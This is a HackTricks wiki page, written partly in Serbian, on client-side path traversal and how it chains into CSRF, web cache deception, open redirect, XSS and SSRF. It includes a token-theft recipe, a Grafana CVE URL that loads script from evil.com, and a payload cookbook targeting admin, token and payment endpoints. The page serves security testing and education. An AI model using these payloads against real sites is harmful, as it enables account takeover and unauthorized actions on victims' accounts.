Client Side Path Traversal
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
A client side path traversal događa se kada možete da manipulišete putanjom URL-a koja će biti poslata korisniku da je poseti na legitiman način ili koju će korisnik na neki način biti primoran da poseti npr. putem JS-a ili CSS-a. CSPT is also known as On-Site Request Forgery (OSRF) zato što vam omogućava da prisilite pregledač žrtve da zakači proizvoljne putanje na istom origin-u koristeći njihove cookies, JWT-ove ili mTLS sertifikate.
Tipični izvori (podatci kojima upravljate):
- Route parameters koji se konkateniraju u
fetch()ili XHR putanje (React Router, Next.js dynamic routes, Vue router params, AngularActivatedRoute). - Stored values (profile slugs, document IDs) koji se interpoliraju u putanje unutar background job-ova, service workera ili WebSocket URL-ova.
- UI gadgets (download/export buttons, image galleries) koji dodaju fragmente kontrolisane od strane korisnika ili ekstenzije fajla na API endpoint-e pre nego što se request pošalje.
Tipične destinacije (gde traversal završava):
- Frontend API wrappers koji prethode
/api/ili/proxy/i automatski ponovo koriste auth headers. history.pushState/router.navigatehelper-i koji rekonstruišu URL-ove kasnije tokom hydration-a.<link>/<style>/@importizjave generisane od strane CMS sadržaja ili feature-flag payload-a.
Uobičajeni uticaji i lanci
- CSPT ➜ CSRF/OSRF: otmičite autentifikovane
POST/PUT/DELETEpozive bekapsiranjem iz nameravane resursne putanje, zatim ponovnim ulaskom u osetljive endpoint-e (password reset, payment approval, access revocation). Kombinujte sa CSRF checklist-om za eskalaciju. - CSPT ➜ cache deception / poisoning: poslužite attacker-controlled JSON sa javnih CDN ključeva i reprodukujte ga neautentifikovano. Pogledajte Cache Poisoning and Cache Deception.
- CSPT ➜ Open Redirect ➜ XSS/SSRF: traversal dospeva na open redirect endpoint, koji onda preusmerava na infrastrukturu napadača koja servira zlonamerni JS ili SSRF payload-e. Niz povežite sa Open Redirect zloupotrebama.
Primeri nalaza
- In this writeup, bilo je moguće promeniti invite URL tako da bi na kraju otkazao karticu.
- In this writeup, bilo je moguće kombinovati client side path traversal via CSS (moglo se promeniti odakle se CSS resurs učitavao) sa open redirect da bi se CSS učitao sa domena pod kontrolom napadača.
- In this writeup, može se videti tehnika kako zloupotrebiti CSPT za izvođenje CSRF napada. To se radi praćenjem svih podataka koje napadač može kontrolisati (URL path, parameters, fragment, podaci injektovani u DB…) i sinkova gde ti podaci završavaju (zahtevi koji se izvršavaju).
- Check this browser extension da biste to pratili.
- Check this CSPT playground da probate tehniku.
- Check this tutorial kako koristiti browser extension u playground-u.
CSPT-assisted web cache poisoning/deception
CSPT može biti povezan sa extension-based CDN caching-om da bi se eksfiltrirao osetljivi JSON leaked by authenticated API calls:
- Frontend konkatenira korisnički kontrolisan input u API putanju i prilaže authentication headers u fetch/XHR.
- Injektovanjem dot-segments (../) možete preusmeriti autentifikovani zahtev na drugi endpoint na istom origin-u.
- Ako je taj endpoint (ili varijanta putanje sa statički izgledajućim sufiksom kao .css) keširan od strane CDN-a bez variranja po auth headers, autentifikovani odgovor žrtve može biti sačuvan pod javnim cache ključem i dohvaćen od strane bilo koga.
Kratki recept:
- Pronađite SPA kod koji gradi API URL-ove iz path parameters dok šalje auth headers.
- Identifikujte osetljive endpoint-e i testirajte statičke sufikse (.css, .js, .jpg, .json) da vidite da li CDN menja na Cache-Control: public/max-age i X-Cache: Hit dok vraća JSON.
- Namamite žrtvu na URL koji injektuje traversal u SPA parametar tako da autentifikovani fetch pogodi cacheable path varijantu (na primer, ../../../v1/token.css).
- Pročitajte isti URL anonimno da biste dobili keširani secret (token → ATO).
See details and mitigations in the Cache Deception page: Cache Poisoning and Cache Deception.
Radni tok za otkrivanje i alati
Pasivno otkrivanje pomoću intercepting proxies
- Correlate sources/sinks automatically: the CSPT Burp extension parsira vašu proxy history, grupiše parametre koji se kasnije reflektuju unutar putanja drugih zahteva, i može ponovo izdati proof-of-concept URL-ove sa canary token-ima da potvrdi eksploatabilne traversale. Nakon učitavanja JAR-a, podesite
Source Scopena client parameters (npr.id,slug) iSink MethodsnaGET, POST, DELETEtako da ekstenzija istakne opasne request buildere. Možete eksportovati sve sumnjive izvore sa ugrađenim canary-em da ih validirate u bulk-u. - Look for double-URL-decoding: dok pretražujete sa Burp-om ili ZAP-om, pazite na
/api/%252e%252e/obrasce koji se normalizuju od strane frontenda pre nego što dođu do mreže—oni se obično pojavljuju kao base64-encoded JSON bodies koji referenciraju route state i lako se previdi bez automatizovanog skenera.
Instrumentovanje SPA sinkova ručno
Ubacivanje kratkog snippet-a u DevTools pomaže da se otkriju skriveni traversali dok interagujete sa UI-jem:
(() => {
const origFetch = window.fetch;
window.fetch = async function (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET");
debugger;
}
return origFetch.apply(this, arguments);
};
})();
- Dodajte slične wrapper-e oko
XMLHttpRequest.prototype.open,history.pushStatei framework-specific router-e (npr.next/router). Posmatranjeinit.credentials === "include"brzo sužava zahteve koji nose session cookies. - Ako aplikacija čuva routing hints u IndexedDB/localStorage, izmenite te unose sa traversal payload-ima i reload-ujte — mutirani state se često reinjektuje u zahteve pre-hydration.
Lab & payload rehearsal
- Podignite CSPT Playground pomoću
docker compose upi vežbajte lančanje traversal ➜ CSRF ➜ stored XSS tokova bez diranja cilja. Reproduciranje strukture routera cilja lokalno olakšava pravljenje deljivih PoC-ova. - Održavajte scratchpad uspešnih dot-segment varijacija (
..;/,%2e%2e/,%2e./%2e/, UTF-8 homoglyphs) i suffix trikova (.css,.json,;matrix params) koje ste zabeležili tokom recon-a kako biste ih mogli brzo replay-ovati kada se pojavi novi sink.
Recent case studies (2025)
- Grafana OSS CVE-2025-4123/6023 (v11.5.0+) – A traversal gadget inside
/public/plugins/let attackers smuggle../../into the plugin asset loader, chain it with Grafana’s open redirect, and force victims to load attacker-controlled plugin bundles. When anonymous dashboards were enabled, a crafted URL such ashttps://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.jsresulted in the browser executing remote JavaScript; if the Image Renderer plugin was installed, the same primitive could be flipped into SSRF by redirecting rendering requests toward internal hosts. Always test plugin asset paths, anonymous dashboards, and renderer endpoints together because a single traversal often gives you both XSS and SSRF angles.
Payload cookbook
| Cilj | Payload pattern | Napomene |
|---|---|---|
| Hit sibling API under same origin | ?doc=../../v1/admin/users | Radi kada routeri jednostavno konkateniraju /${doc}. Dodajte .json ako CDN samo kešira statički izgledajuće asset-e. |
| Force SPA to follow open redirect | ?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x | Kombinujte sa trusted redirectors navedenim u target’s codebase. Chain with Open Redirect. |
| Abuse extension-based CDN cache | ?file=../../v1/token.css | CDN može tretirati .css kao statičko i keširati tajne vraćene kao JSON. |
| CSRF via verb change | ?action=../../payments/approve/.json&_method=POST | Neki routeri prihvataju _method overrides; sparite sa traversal-om da biste re-targetovali destruktivne endpoint-e. |
References
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- PortSwigger: Web Cache Deception
- Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis
- Doyensec CSPT Burp Extension
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

